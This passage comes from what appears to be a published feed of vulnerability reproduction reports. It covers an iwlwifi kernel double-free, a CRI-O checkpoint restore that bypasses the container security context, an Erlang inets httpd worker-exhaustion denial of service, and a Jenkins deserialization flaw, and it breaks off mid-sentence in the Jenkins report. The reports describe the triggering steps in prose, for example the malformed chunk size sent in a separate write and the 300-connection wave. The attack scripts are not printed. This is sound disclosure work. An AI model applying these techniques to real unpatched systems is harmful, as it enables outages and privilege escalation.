(`2c79d7a7b583050c9f58041465cb46fe3483ab5d`). - Consequences: kernel memory corruption (double-free / slab use-after-free) in the WiFi driver teardown path — kernel crash (DoS) and a potentially exploitable heap corruption primitive on systems with Intel WiFi PCIe hardware. This run confirms memory corruption only; no code execution is claimed. ## Impact Parity - Disclosed/claimed maximum impact: memory corruption (double-free / UAF) — KASAN-detectable; the advisory does not claim RCE. - Reproduced impact this run: on the v6.18.52 KASAN+SLUB_DEBUG+DEBUG_OBJECTS kernel the second `iwl_pcie_rx_free()` produced (a) a KASAN `use-after-free` 8-byte read of the freed `rx_pool` in `iwl_pcie_free_rbs_pool` <- `iwl_pcie_rx_free` [iwlwifi], (b) a BAD_PAGE taint from the repeated `__free_pages(alloc_page)`, and (c) a kernel oops (NULL/wild dereference in `dma_free_attrs` <- `iwl_pcie_free_rxq_dma` <- `iwl_pcie_rx_free`) from walking the freed `rxq[]` state. The identical trigger on the fixed kernel completes cleanly 2/2 (negative control). - Parity: `full` for the claimed memory-corruption impact class. - Not demonstrated: code execution (out of scope per the advisory/ticket). ## Root Cause `iwl_pcie_rx_free()` (v6.18.52, rx.c line 1204) ends with: ```c kfree(trans_pcie->rx_pool); kfree(trans_pcie->global_table); kfree(trans_pcie->rxq); if (trans_pcie->alloc_page) __free_pages(trans_pcie->alloc_page, trans_pcie->rx_page_order); ``` None of the four freed members are set to `NULL`, yet the function starts with: ```c if (!trans_pcie->rxq) { IWL_DEBUG_INFO(trans, "Free NULL rx context\n"); return; } ``` The first call (nic-init unwind after a TX-init failure) frees everything but leaves `rxq` non-NULL, defeating the sentinel. A second call on the same live transport object walks the freed `rxq[]`/`rx_pool[]` arrays (`iwl_pcie_free_rbs_pool()` reads `rx_pool[i].page`, the queue loop reads `rxq->bd`/`rxq->napi.poll`) and then `kfree()`s the same three pointers again and re-frees `alloc_page` — UAF reads plus double-frees. The fix (upstream `2c79d7a7b583050c9f58041465cb46fe3483ab5d`, "wifi: iwlwifi: pcie: null RX pointers after free", Emmanuel Grumbach, Intel) sets `rx_pool`, `global_table`, `rxq` and `alloc_page` to `NULL` immediately after freeing, so repeated cleanup and retry paths fail safe on the sentinel. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; see that file). 2. The script: - clones linux-stable `v6.18.52` (vulnerable) into the prepared project cache; - verifies `iwl_pcie_rx_free()` lacks the pointer-NULLing fix; - because QEMU cannot emulate an Intel WiFi PCIe device (explicitly anticipated by the ticket), patches a hardware-independent selftest trigger **into the real driver** (`pcie/gen1_2/rxfree-selftest.c` + a `rx_free_selftest=1` module-parameter hook in `iwl_drv_init()`): it builds RX state exactly as `iwl_pcie_rx_alloc()` does (kcalloc of `rxq`/`rx_pool`/`global_table`, `alloc_pages` for `alloc_page`, initialised RB-allocator work/lists) and then calls the **real, unmodified `iwl_pcie_rx_free()` twice** — first = nic-init unwind after `iwl_pcie_tx_init()` failure, second = later teardown/retry on the same live transport object; - builds a `defconfig`+KASAN(outline)+SLUB_DEBUG+DEBUG_OBJECTS kernel with `CONFIG_IWLWIFI=m`, producing a vulnerable `iwlwifi.ko`; then applies the stable fix hunk to `rx.c` and rebuilds a fixed `iwlwifi.ko` against the same kernel; - boots the kernel twice per build in QEMU/KVM with a busybox initramfs that `insmod`s the module with `rx_free_selftest=1`, capturing the serial log. 3. Expected evidence: vulnerable boots emit `BUG: KASAN: use-after-free` in `iwl_pcie_free_rbs_pool` <- `iwl_pcie_rx_free` (`[iwlwifi]`) followed by a BAD_PAGE taint and a fatal oops in `iwl_pcie_free_rxq_dma`; fixed boots print `SELFTEST-COMPLETE` with all four pointers NULLed and no KASAN splat. ## Evidence - `bundle/logs/vm_vuln_attempt1.log`, `bundle/logs/vm_vuln_attempt2.log` — KASAN splats naming the RX teardown path (2/2 attempts). - `bundle/logs/vm_fixed_attempt1.log`, `bundle/logs/vm_fixed_attempt2.log` — negative control, selftest completes cleanly (2/2 attempts). - `bundle/logs/build_bzimage.log`, `bundle/logs/build_mod_vuln.log`, `bundle/logs/build_mod_fixed.log` — build transcripts. - `bundle/repro/runtime_manifest.json` — runtime evidence manifest with artifact hashes and immutable target identity (`git:https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git@8f3741e6feb045da5b406df0a80b42a1adfb289b` = v6.18.52). - Environment: x86_64, QEMU/KVM (`-machine accel=kvm:tcg`), KASAN outline, SLUB_DEBUG, DEBUG_OBJECTS(_FREE/_TIMERS) enabled. ## Recommendations / Next Steps - Backport/apply upstream `2c79d7a7b583050c9f58041465cb46fe3483ab5d` ("null RX pointers after free") — already in 6.12.111 / 6.18.53 / 7.2. - Upgrade affected kernels to >= 6.12.111 / >= 6.18.53 / >= 7.2. - Regression test: an in-tree KUnit or error-injection test that forces `iwl_pcie_tx_init()` failure and then re-runs teardown would lock the invariant "rx free is idempotent" in. ## Additional Notes - Idempotency: the script is re-runnable; it restores `rx.c` to the vulnerable state, caches the bzImage and both module builds in the project cache, and re-executes fresh QEMU proofs on every run. - Evidence scope: QEMU exposes no Intel WiFi PCIe device, so the trigger is a patched-in selftest that executes the **real** vulnerable function with faithful allocator state — matching the ticket's explicit fallback ("reproduce the unwind/retry sequence with a patched-in test trigger … state the scope honestly"). The double-free/UAF depends only on the pointer invalidation bug in `iwl_pcie_rx_free()`, not on hardware behavior: on real hardware the same two calls are reached via nic-init unwind + teardown/retry. - Scope: memory corruption only; RCE is not claimed and was not attempted. ### Reproduction - Reproduced: 2026-09-24T19:27:06.935Z - Duration: 3340s - Confidence: medium ### Quick Verify ```bash pruva-verify REPRO-2026-00373 # or: pruva-verify CVE-2026-93796 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00373 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00373/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00373 ================================================================================ ## REPRO-2026-00372: CRI-O checkpoint restore bypasses destination Kubernetes security context -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00372 - CVE: CVE-2026-92574 (https://nvd.nist.gov/vuln/detail/CVE-2026-92574) ### Package Information - Name: cri-o/cri-o - Ecosystem: go - Affected: >=1.34.0 <1.34.14 - Fixed: Unknown - Severity: high - CVSS: 8.8 / 10 - CWE: CWE-250 ### Root Cause ## Summary CVE-2026-92574 is confirmed in CRI-O's real CRI checkpoint/restore workflow. At vulnerable commit `6e902ee2a9f7ce535855c68c92c6838f087f578f` (the parent of the ticket's first fix commit), CRI-O accepts a CRIU checkpoint archive through `RuntimeService.CreateContainer` even when the destination `ContainerConfig` requests UID/GID 65534, `no_new_privs`, runtime-default seccomp, and all capabilities dropped. `RuntimeService.StartContainer` then restores the checkpoint's process state: both current-run attempts executed as UID/GID 0 with effective capabilities `000001ffffffffff`, `NoNewPrivs: 0`, and `Seccomp: 0`, while CRI inspection continued to report UID/GID 65534. The final fixed release-1.36 commit `bb54fa0fba793889d815e5943abd6f8afc938c39` defaults container restore to `checkpoint_only`; both controls rejected the same archive during `CreateContainer`. ## Impact - **Package/component affected:** CRI-O container checkpoint import/restore path (`CreateContainer` -> `CRImportCheckpoint` -> runc/CRIU restore). - **Affected versions:** Reported upstream ranges 1.34.0–1.34.13, 1.35.0–1.35.8, and 1.36.0–1.36.5. This run anchors the vulnerable source to commit `6e902ee2a9f7ce535855c68c92c6838f087f578f`, the resolved parent of fix commit `f4d95dfe70c4af4afff0c5a96e1a36975c2f65f9`. - **Risk level and consequences:** High. An actor able to cause CRI-O to restore an attacker-prepared checkpoint can bypass the destination security context and run a restored process with root credentials, all capabilities available in the runtime namespace, `no_new_privs` disabled, and seccomp disabled. This is a concrete privilege escalation relative to the requested destination policy. ## Impact Parity - **Disclosed/claimed maximum impact:** Privilege escalation through CRI-O's service/API checkpoint restore workflow. - **Reproduced impact from this run:** A real CRI-O endpoint restored an attacker checkpoint twice. Requested state was UID/GID 65534, drop all capabilities, `no_new_privs=true`, and runtime-default seccomp; observed live process state was UID/GID 0, `CapEff=000001ffffffffff`, `NoNewPrivs=0`, and `Seccomp=0`. - **Parity:** full. - **Not demonstrated:** The variant using an annotated checkpoint image fetched from a remote registry was not needed for impact parity; this run uses the supported checkpoint-archive image path across the same CRI endpoint. Node/host escape beyond the demonstrated destination container security-context boundary was not attempted. ## Root Cause In the vulnerable source, container restore is globally enabled by `enable_criu_support`. `server/container_create.go` recognizes a filesystem path in `ContainerConfig.image` as a checkpoint archive and dispatches to `CRImportCheckpoint`. The import path does copy the destination CRI `Linux.SecurityContext` into the newly registered container configuration, which is why `crictl inspect` reports the restricted UID/GID. However, starting a restore container asks runc/CRIU to recreate the serialized process from the checkpoint. CRIU restores the process credentials, capability sets, `no_new_privs`, and seccomp state from checkpoint images; those values therefore diverge from CRI-O's destination metadata. The upstream change set mitigates this by introducing explicit checkpoint/restore levels and defaulting container-level support to `checkpoint_only`, preventing archive/image restore unless an administrator intentionally opts back into `checkpoint_restore`: - Configuration split: https://github.com/cri-o/cri-o/commit/f4d95dfe70c4af4afff0c5a96e1a36975c2f65f9 - Secure default (`checkpoint_only`): https://github.com/cri-o/cri-o/commit/045d4107f10f9baa4e93d54a93762e0036942d4b - Final flag naming: https://github.com/cri-o/cri-o/commit/bb54fa0fba793889d815e5943abd6f8afc938c39 The fixed path's `RestoreContainerEnabled()` check no longer classifies the archive path as a checkpoint under the secure default. Both fixed controls therefore failed closed at `CreateContainer` rather than restoring the serialized privileged process. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any working directory. The script reads `bundle/project_cache_context.json`, uses the prepared `/repo`, and falls back to `bundle/artifacts/cri-o` only when no usable prepared cache exists. 2. The script resolves the vulnerable checkout as `f4d95dfe70c4af4afff0c5a96e1a36975c2f65f9^` and verifies that its full SHA is `6e902ee2a9f7ce535855c68c92c6838f087f578f`. It verifies the vulnerable source lacks `CheckpointRestoreConfig` and the fixed source contains it before building. 3. In a capability-enabled rootless Docker container, the helper builds/reuses commit-bound CRI-O binaries, pinned runc v1.3.4, and CRIU v4.1.1. Narrow compatibility patches compensate only for the worker's non-delegated cgroups and protected UTS sysctls; they do not modify checkpoint credentials, capabilities, `no_new_privs`, seccomp, CRI-O restore classification, or the fixed default. 4. The helper starts a real vulnerable CRI-O service, uses `crictl` over its Unix gRPC endpoint to create a root/full-capability/unconfined source container, and exports a real checkpoint archive through `CheckpointContainer`. 5. For two isolated vulnerable destination services, it uses `RunPodSandbox`, submits the checkpoint archive to `CreateContainer` with UID/GID 65534, drop-all, `no_new_privs=true`, and runtime-default seccomp, calls `StartContainer`, obtains the live PID through `ContainerStatus`, and reads `/proc//status`. 6. For two isolated final-fixed services, it submits the same archive/request. The secure `checkpoint_only` default rejects it before restore. 7. Success is exit 0 plus `CONFIRMED:` output. The final script was executed twice consecutively; both runs returned 0. ## Evidence - **Runtime manifest:** `bundle/repro/runtime_manifest.json` binds every immutable current-run artifact by SHA-256 and binds the source target to `git:https://github.com/cri-o/cri-o.git@6e902ee2a9f7ce535855c68c92c6838f087f578f`. - **Vulnerable attempts:** - `bundle/repro/proof/current/vulnerable-1.txt` - `bundle/repro/proof/current/vulnerable-2.txt` - `bundle/repro/proof/current/vulnerable-1-process-status.txt` - `bundle/repro/proof/current/vulnerable-2-process-status.txt` - **Fixed negative controls:** - `bundle/repro/proof/current/fixed-1.txt` - `bundle/repro/proof/current/fixed-2.txt` - **Service logs:** `bundle/repro/proof/current/vulnerable-*-service.log` and `fixed-*-service.log`. - **Versions and identity:** `bundle/repro/proof/current/tool-versions.txt` and `source-identity.txt`. - **Diagnostics:** `bundle/logs/reproduction_steps.log` and `bundle/logs/repro/docker-driver.log`. Key current-run excerpts, repeated in both vulnerable attempts: ```text requested_run_as_user=65534 requested_no_new_privs=true requested_drop_all=true restore_result=accepted restored_uid=0 restored_gid=0 restored_cap_eff=000001ffffffffff restored_no_new_privs=0 restored_seccomp=0 ``` The matching CRI inspection embedded in each attempt reports the running container's requested user as UID/GID 65534. The live process-status artifacts instead contain: ```text Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 000001ffffffffff NoNewPrivs: 0 Seccomp: 0 ``` The vulnerable service log records the real boundary and successful restore: ```text name=/runtime.v1.RuntimeService/CreateContainer name=/runtime.v1.RuntimeService/StartContainer Restored container: ``` The fixed service logs report `Checkpoint/restore support enabled (level: "checkpoint_only")`; both `fixed-*.txt` files record `create_rc=1` and `restore_result=rejected` for the identical archive/input shape. ## Recommendations / Next Steps - Upgrade to v1.34.14, v1.35.9, v1.36.6, or a later supported release containing the full fix set. - Keep `container_level_enabled="checkpoint_only"` (or `none`) unless restore is operationally required and all checkpoint sources are trusted. - Restrict pod/container creation and checkpoint-image registry permissions; allowlist registries and prevent untrusted archives from being used as container images. - Recreate containers previously restored from untrusted checkpoints after upgrading. - Add integration coverage that compares requested versus live `/proc//status` values for UID/GID, all capability sets, `NoNewPrivs`, and seccomp after restore. Test both local archives and annotated OCI checkpoint images. - If restore is re-enabled explicitly, enforce destination process-security state or reject checkpoints whose serialized process state exceeds the destination policy. ## Additional Notes - **Idempotency:** Confirmed. The final `bundle/repro/reproduction_steps.sh` ran twice consecutively with exit code 0. Each invocation created a fresh checkpoint and fresh isolated vulnerable/fixed service attempts. - **Runtime constraints:** The worker exposes rootless Docker without delegated cgroups. The reproducer therefore uses a narrow runc/CRIU compatibility layer, declared as `bundle/repro/runc_rootless_restore.patch` and `bundle/repro/criu_rootless_uts.patch`, plus deterministic removal of worker-injected `/sys` mount records from the checkpoint image. None of these operations edit `core-1.img`, `seccomp.img`, process credentials, capabilities, or the destination request. - **Scope:** The proof crosses the actual CRI gRPC service boundary using `crictl`; it is not a direct package/unit harness. Unix-domain local transport is the standard standalone CRI endpoint, and the claim's attacker prerequisite remains authorization to create/restore containers through the service. - **Negative control semantics:** The fixed commit intentionally disables restore by default instead of transforming the restored credentials. Treating the archive path as a non-image and rejecting it is the expected fail-closed result. ### Reproduction - Reproduced: 2026-09-24T17:38:16.458Z - Duration: 12009s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00372 # or: pruva-verify CVE-2026-92574 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00372 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00372/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00372 ================================================================================ ## REPRO-2026-00370: Erlang/OTP inets httpd parks request worker indefinitely on malformed chunk size sent after headers (unauthenticated remote DoS) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00370 - CVE: CVE-2026-69664 (https://nvd.nist.gov/vuln/detail/CVE-2026-69664) ### Package Information - Name: erlang/otp - Ecosystem: github - Affected: OTP >= 18.1.4 < 27.3.4.17; >= 28.0 < 28.5.0.6; >= 29.0 < 29.0.6 (inets >= 6.0.3 < 9.3.2.7; >= 9.4 < 9.6.2.3; >= 9.7 < 9.7.2) - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-772 ### Root Cause # RCA Report — CVE-2026-69664: Erlang/OTP inets httpd request-worker parking (unauthenticated remote DoS) ## Summary In Erlang/OTP's built-in `inets` HTTP server (`httpd`), a request that uses `Transfer-Encoding: chunked` and whose chunk-size line arrives in a TCP write **separate from the headers** is decoded through a continuation invoked via a bare `catch` in `httpd_request_handler:handle_info/2`. When the chunk-size line is not valid hexadecimal (e.g. `ZZZ\r\n`), `http_chunk:decode_size/4` throws `{error, {chunk_size, Line}}`; the bare `catch` flattens this throw into a plain term that matches none of the error clauses, so it falls into the catch-all `NewMFA` clause: the error tuple is stored as the next decoder continuation and the socket is re-armed with `{active, once}`. Because the request timeout was already cancelled when the headers were accepted and `minimum_bytes_per_second` is disabled by default, no timer ever reclaims the worker — it is parked indefinitely while the attacker keeps the TCP connection open with zero further bytes. Repeating this across connections exhausts the request-worker pool (`max_clients`, documented default 150) and denies service to legitimate clients (CWE-772, Missing Release of Resource after Effective Lifetime). ## Impact - **Package/component affected**: `lib/inets` `http_server/httpd_request_handler.erl` (interaction with `http_server/http_chunk.erl` `decode_size/4`) - **Affected versions**: Erlang/OTP >= 18.1.4 < 27.3.4.17 | >= 28.0 < 28.5.0.6 | >= 29.0 < 29.0.6 (inets >= 6.0.3 < 9.3.2.7 | >= 9.4 < 9.6.2.3 | >= 9.7 < 9.7.2). Introduced by commit 77acb473d8f056f6f534395f131c6e45693797f0. Tested here: OTP-27 maintenance line, vulnerable commit `e9f49f57cef6e38fd13c4b0cee1eb5509ef471e8` (parent of the fix; inets 9.3.2.6). - **Risk level and consequences**: High (CVSS 8.7, AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H). Unauthenticated remote attacker, default configuration, availability-only impact: each parked connection permanently consumes one request-handler process and one socket until the attacker voluntarily disconnects; enough such connections make the server answer every new client with `503 Service Unavailable` ("heavy load"). ## Impact Parity - **Disclosed/claimed maximum impact**: Unauthenticated remote denial of service against the default inets httpd configuration (`dos`). - **Reproduced impact from this run**: `dos` — full remote denial of service demonstrated end-to-end over the real TCP listener: - a single segmented request parks a `httpd_request_handler` process indefinitely (the same process pid observed alive with `{message_queue_len,0},{status,waiting}` and zero traffic for the full **165 s** observation window, beyond the 150 s default keep-alive timeout; no response is ever sent to the parked socket); - a 300-connection exhaustion wave of identical parked requests fills the worker pool at the documented `max_clients` default of 150 (confirmed against the server-side census before the probe is fired), after which fresh legitimate `GET` requests are denied with `503 Service Unavailable` ("heavy load"); the denial persists while the attacker holds the sockets (re-verified after a 25 s wait, census still pinned at 150) and disappears only after the attacker disconnects (census drops to 0, legit `200`); - the fixed build (fix commit `a3adf630...`) responds `400 Bad Request` immediately on the exact same segmented input, closes the connection, reclaims the worker (census 0), and the same 300-connection wave cannot deny service to legitimate clients (200 throughout). - **Parity**: `full` (claimed DoS fully demonstrated; no code execution was claimed or observed). - **Not demonstrated**: none — no impact beyond availability was claimed. ## Root Cause `httpd_request_handler.erl`, `handle_info({Proto, Socket, Data}, ...)` clause (vulnerable code, line 241 of the tested checkout): ```erlang PROCESSED = (catch Module:Function([Data | Args])), ... case PROCESSED of {ok, Result} -> ...; {error, {size_error, ...}, Version} -> ...; {error, {version_error, ...}, Version} -> ...; {error, {bad_request, ...}, Version} -> ...; {http_chunk = Module, Function, Args} when ChunkState =/= undefined -> ...; NewMFA -> setopts(Socket, SockType, [{active, once}]), {noreply, State#state{mfa = NewMFA}} %% <-- parks here end ``` Flow for a chunked request: 1. Headers arrive; `httpd_request:parse/2` returns `{ok, {continue, http_chunk, decode_size, Args}}`; `handle_msg/2` sets `mfa = {http_chunk, decode_size, Args}` **after** the request timeout was cancelled in the `{ok, ...}` branch (`cancel_request_timeout/1`). No new timer is armed; `minimum_bytes_per_second` is `false` by default, so `data_receive_counter/2` arms nothing either. 2. The chunk-size line arrives in a later TCP write, so `handle_info({tcp, Socket, Data}, ...)` runs with `Module = http_chunk, Function = decode_size`. 3. `http_chunk:decode_size(<<"ZZZ\r\n">>, ...)` **throws** `{error, {chunk_size, Line}}` for a non-hex chunk size. 4. The bare `catch` converts the throw into the plain term `{error, {chunk_size, Line}}`, which matches no clause of the `case` (the `{error, ...}` clauses expect 3-tuples with a `Version`), so the catch-all `NewMFA` clause stores the error tuple as the next continuation MFA and re-arms the socket with `{active, once}`. 5. The attacker sends no more bytes; no timeout exists; the worker waits forever (only `tcp_closed` would free it). Each such connection leaks one handler process + one socket until client disconnect. Note the contrast that proves segmentation matters: when the body arrives **together with** the headers, `handle_body/3` calls `http_chunk:decode/...` inside a proper `try ... catch` and returns `400 Bad Request` — that path was never vulnerable. The trigger requires the chunk-size line to arrive in a later write, exactly as the advisory states. - **Fix**: OTP maintenance commits `a3adf63078438c86527d704e23282b7721d8ca12` (OTP 27), `df1a9ca4666e2fdfc44886bfaae76de086d803f6` (OTP 28), `bd4e74348c6be8a49f060da6fd48d43f3a960292` (OTP 29). The fix wraps the decoder call as `catch throw:{error, Error} when Module =:= http_chunk ->` (line 287 in the fixed tree) so a thrown chunk-decode error is routed to the error handling that sends `400 Bad Request` and terminates the worker, plus a regression test in `httpd_SUITE` for the segmented-write case. ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run twice consecutively — both runs must exit 0). 2. What the script does: - Resolves the prepared project cache (`bundle/project_cache_context.json`); with no cached repo present it clones/fetches OTP fix commit `a3adf63078438c86527d704e23282b7721d8ca12` (depth 2) from `https://github.com/erlang/otp.git` into `bundle/artifacts/otp`. - Builds the real Erlang/OTP from source at the vulnerable commit `e9f49f57cef6e38fd13c4b0cee1eb5509ef471e8` (parent of the fix; the top-level `make` tolerates the wx-disabled `debugger` failure, then `make local_setup` + targeted `lib/stdlib`/`lib/inets` builds complete the system) and verifies the vulnerable checkout **lacks** the fix hunk (records the bare `catch` at line 241 in `evidence/vuln_bare_catch.txt`). - For each of two clean vulnerable attempts: starts a fresh `erl` node running the real `inets` httpd on an ephemeral port with default configuration (`keep_alive_timeout` 150 s and `minimum_bytes_per_second` false left at their defaults on purpose; `max_clients` set to its documented default of 150 — `httpd_conf` only persists the key when the user supplies it, and the manager's `handle_new_connection/4` looks it up **without** a default, so an unset key means no bound at all), plus a 1 Hz server-side census of `httpd_request_handler` processes. Then `attack_client.py`: (a) healthchecks with `GET` (Connection: close), (b) opens a POST with `Transfer-Encoding: chunked`, sends headers in one TCP write, waits 0.3 s, sends `ZZZ\r\n` as a separate write, and holds the socket open with no further bytes for **165 s** (beyond the 150 s default keep-alive timeout), (c) sends a legit request mid-park (server still appears healthy), (d) opens a 300-connection wave of identical parked requests, **waits until the server-side census confirms the pool is actually full (>= 150 parked handlers)** before probing (this removes the accept-backlog race where a probe fired while the pool was still filling could be served 200), then shows fresh legitimate requests are denied (`503 Service Unavailable`, "heavy load"), still denied after a 25 s wait, (e) disconnects the attacker and shows the server recovers (`200`, census back to 0). - Checks out the fix commit, rebuilds `lib/inets` in the same tree, verifies the fix hunk is present (line 287 recorded in `evidence/fix_hunk.txt`), and runs two clean fixed attempts with the same attack: the bad chunk-size line must produce `400 Bad Request` + server close on the parked socket, census back to 0, and legit requests still served `200` during the full exhaustion wave. - Evaluates every attempt against the criteria above (`evidence/summary.json`, `pass` must be true), writes `runtime_manifest.json`, and exits 0 = confirmed / 1 = not reproduced. 3. Expected evidence of reproduction (all produced by the script): - `evidence/summary.json` with `pass: true` and every per-attempt check true for two vulnerable and two fixed attempts; - `evidence/vulnerable_attempt{1,2}/census.log`: `PATH vsn=9.3.2.6` with the inets beams loaded from the build tree, then `CENSUS` lines showing one parked handler for the whole 165 s window and 150 parked handlers during the wave; - `evidence/vulnerable_attempt{1,2}/result.json`: `parked_socket_status: "timeout"`, `parked_socket_recv: ""`, `legit_after_exhaustion` → `HTTP/1.1 503 Service Unavailable`, `exhausted_recheck` → still 503, `after_close_legit` → 200; - `evidence/fixed_attempt{1,2}/result.json`: `parked_socket_recv` starting with `HTTP/1.1 400 Bad Request`, `parked_socket_status: "closed"`, census 0, legit 200 during the wave. ## Evidence - Environment: Linux x86_64, 4 cores; OTP built from source at `bundle/artifacts/otp` (fallback location — the prepared project cache contained no repo); vulnerable checkout `e9f49f57cef6e38fd13c4b0cee1eb5509ef471e8`, fixed checkout `a3adf63078438c86527d704e23282b7721d8ca12`, both verified by hunk inspection before their respective attempts. - Primary logs and artifacts (all under `bundle/`): - `bundle/logs/reproduction_steps.log` — full transcript of the final passing run (run 2); `bundle/logs/reproduction_steps_run1.log` — the first consecutive passing run. Both end with `RESULT: CVE-2026-69664 CONFIRMED on vulnerable build; fixed build fails closed`. - `bundle/repro/evidence/summary.json` — machine-readable pass/fail per attempt and per criterion (`pass: true`, 4/4 attempts pass). - `bundle/repro/evidence/vulnerable_attempt{1,2}/census.log` — server-side process census, 1 Hz, 196 samples per attempt (PATH line + CENSUS lines; final entry after attacker disconnect shows count 0). - `bundle/repro/evidence/vulnerable_attempt{1,2}/result.json`, `client_output.log` — client-side observations of each phase. - `bundle/repro/evidence/fixed_attempt{1,2}/...` — same for the fixed build. - `bundle/repro/evidence/vuln_bare_catch.txt` (`241: PROCESSED = (catch Module:Function([Data | Args])),`), `fix_hunk.txt` (`287: catch throw:{error, Error} when Module =:= http_chunk ->`) — source-line proof that the vulnerable tree has the bare `catch` and the fixed tree has the corrected clause. - `bundle/repro/runtime_manifest.json` — runtime evidence manifest with per-artifact SHA-256 (all verified) and target identity `git:https://github.com/erlang/otp@e9f49f57cef6e38fd13c4b0cee1eb5509ef471e8` (digest `fac886b1b27ab179e45c1c7bf166b06ff9e1f3800dd1334f5f510e6a5cf67449`). - Key excerpts (from the final run's result.json files): - Vulnerable, parked worker census (both attempts): `CENSUS ... 1 <0.NNN.0>:[{message_queue_len,0},{status,waiting}]` at t=3/45/95/162 s — the **same pid** for the entire 165 s window; `parked_socket_status: "timeout"`, `parked_socket_recv: ""`. - Vulnerable, exhaustion: `parked=300/300; pool_full=True (census=150 ...)`; `legit_after_exhaustion` → `HTTP/1.1 503 Service Unavailable` (heavy load); `exhausted_recheck` after 25 s → still `HTTP/1.1 503 Service Unavailable`, census 150; `after_close_legit` → `HTTP/1.1 200 OK`, census 0. - Fixed: `parked_socket_recv` = `HTTP/1.1 400 Bad Request` ..., `parked_socket_status: "closed"`, census count 0, and `legit_after_exhaustion` → `HTTP/1.1 200 OK` during the same wave. - Note on version labels: the fixed checkout still reports `vsn=9.3.2.6` in its PATH line because the maintenance fix commit does not bump the OTP/inets version file; the authoritative discriminators between the two builds are the recorded fix-hunk lines (241 bare `catch` vs 287 `catch throw:{error, Error}`) and the behavioral divergence (indefinite park + 503 exhaustion vs immediate 400 + close + no denial). ## Recommendations / Next Steps - **Upgrade guidance**: upgrade to OTP 27.3.4.17 / 28.5.0.6 / 29.0.6 (inets 9.3.2.7 / 9.6.2.3 / 9.7.2) or later, which contain the `catch throw:{error, Error}` fix. - **Mitigations for interim**: enable `minimum_bytes_per_second` in the httpd config so slow/stalled body receives are reaped; reduce exposure of inets httpd to untrusted networks. Be aware that leaving `max_clients` **unset** does not fall back to the documented default of 150 — `httpd_conf` only stores the value when the user supplies it, so an unset value effectively disables the connection cap (an even easier unbounded DoS); explicitly set it, ideally below 150. - **Suggested fix approach**: the merged fix wraps the decoder continuation call so chunk-decode throws are converted into a proper `400 Bad Request` response and handler termination; keep that structure for every continuation invoked from `handle_info`. - **Testing recommendations**: the fix commit adds an `httpd_SUITE` case (invalid chunk size in a separate write). Keep regression coverage for the segmented-write case specifically — the single-write case was never vulnerable (`handle_body/3` already had a proper try/catch), so a test that coalesces headers and body will not catch this class of bug. Consider also auditing other `handle_info` continuation consumers for bare `catch` patterns, asserting that a request timeout is always armed while a partially-received request is outstanding, and giving `handle_new_connection/4`'s `max_clients` lookup the documented default. ## Additional Notes - **Idempotency**: `reproduction_steps.sh` is safe to re-run; it reuses the in-tree build under `bundle/artifacts/otp`, re-checks out each commit (`git checkout -f`), and incrementally rebuilds only the changed `inets` modules. Two consecutive full runs were executed in this session and both passed (exit 0, `summary.json` `pass: true`); transcripts: `bundle/logs/reproduction_steps_run1.log` and `bundle/logs/reproduction_steps_run2.log`. - **Negative/scope controls included in the proof**: - fixed-commit build fails closed on the exact same segmented input (400 + close, worker reclaimed, no denial of service) — confirms the fix, not an environmental artifact; - the single-write variant (headers + `ZZZ\r\n` in one TCP write) returns 400 even on the vulnerable build, matching the advisory's note that the `handle_body/3` path was never vulnerable (verified during development). - **Deterministic exhaustion probe**: the attack client polls the server-side census until the pool is observed full (>= 150 handlers) before firing the post-exhaustion legitimate request; an earlier revision with a fixed 2-second sleep could, under scheduling pressure, fire the probe while the accept backlog was still draining and observe a misleading 200. - **Limitations**: The DoS demonstration binds `max_clients` at its documented default (150); deployments that raised it need proportionally more parked connections, and deployments that left it unset are unbounded (see Recommendations). The census samples at 1 Hz from inside the Erlang node, so a handler that lived for only a fraction of a second could in principle be missed — not an issue here since the parked handler is verified alive across the whole 165 s observation window with the same pid. Background orchestration note: the full script takes ~10 minutes; execution environments with per-command time limits must run it detached (e.g. `setsid nohup ... &`). ### Reproduction - Reproduced: 2026-09-24T17:06:48.227Z - Duration: 19436s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00370 # or: pruva-verify CVE-2026-69664 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00370 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00370/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00370 ================================================================================ ## REPRO-2026-00369: Jenkins transient fields deserializable from config.xml → config object overwrite / RCE (SECURITY-3972 companion) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00369 - CVE: CVE-2026-84650 (https://nvd.nist.gov/vuln/detail/CVE-2026-84650) ### Package Information - Name: jenkinsci/jenkins - Ecosystem: github - Affected: Jenkins weekly 2.579 and earlier; Jenkins LTS 2.568.2 and earlier. - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-502 (Deserialization of Untrusted Data) ### Root Cause ## Summary CVE-2026-84650 (Jenkins SECURITY-4032) is an authenticated unsafe-deserialization flaw in Jenkins configuration updates. Jenkins historically excluded Java `transient` fields from serialization but still populated them while unmarshalling attacker-submitted `config.xml`. In Jenkins 2.579, an attacker with `Item/Configure` can therefore create a nested object graph whose transient ownership and identity links are attacker-selected. This run used the real Jenkins HTTP endpoint to set `SCMTrigger.BuildAction.run`, `Run.project`, `AbstractItem.parent`, and `AbstractItem.name`; Stapler then traversed that forged 